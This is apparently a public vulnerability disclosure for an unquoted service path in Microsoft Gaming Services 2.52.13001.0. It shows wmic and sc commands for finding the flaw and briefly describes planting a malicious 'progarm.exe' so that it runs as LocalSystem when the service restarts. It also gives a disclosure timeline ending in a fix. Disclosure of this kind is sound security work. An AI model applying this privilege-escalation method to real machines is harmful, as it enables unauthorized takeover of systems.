Microsoft Gaming Services 2.52.13001.0 Unquoted Service Path

`# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path  
# Discovery by: Johto Robbie  
# Discovery Date: May 12, 2021  
# Tested Version: 2.52.13001.0  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 10 x64 Home  
  
# Step to discover Unquoted Service Path:  
  
Go to Start and type cmd. Enter the following command and press Enter:  
  
C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |  
findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """  
  
Gaming Services  
GamingServices C:\Program  
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe  
  
  
  
Auto  
  
Gaming Services  
GamingServicesNet C:\Program  
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe  
  
  
  
Auto  
  
C:\Users\Bang's>sc qc "GamingServices"  
  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: GamingServices  
  
TYPE : 210 WIN32_PACKAGED_PROCESS  
  
START_TYPE : 2 AUTO_START  
  
ERROR_CONTROL : 0 IGNORE  
  
BINARY_PATH_NAME : C:\Program  
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe  
  
LOAD_ORDER_GROUP :  
  
TAG : 0  
  
DISPLAY_NAME : Gaming Services  
  
DEPENDENCIES : staterepository  
  
SERVICE_START_NAME : LocalSystem  
  
This application have no quote . And it contained in C:\Program Files. Put  
mot malicious aplication with name "progarm.exe"  
  
Stop & Start: GamingServices. "progarm.exe" will be execute  
  
#Exploit:  
  
An unquoted service path in  
Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to  
privilege escalation during the installation process that is performed when  
an executable file is registered. This could further lead to complete  
compromise of confidentiality, Integrity and Availability.  
  
#Timeline  
May 12, 2021 - Reported to Microsoft  
Feb 11, 2022 - Confirmed vulnerability has been fixed  
  
  
`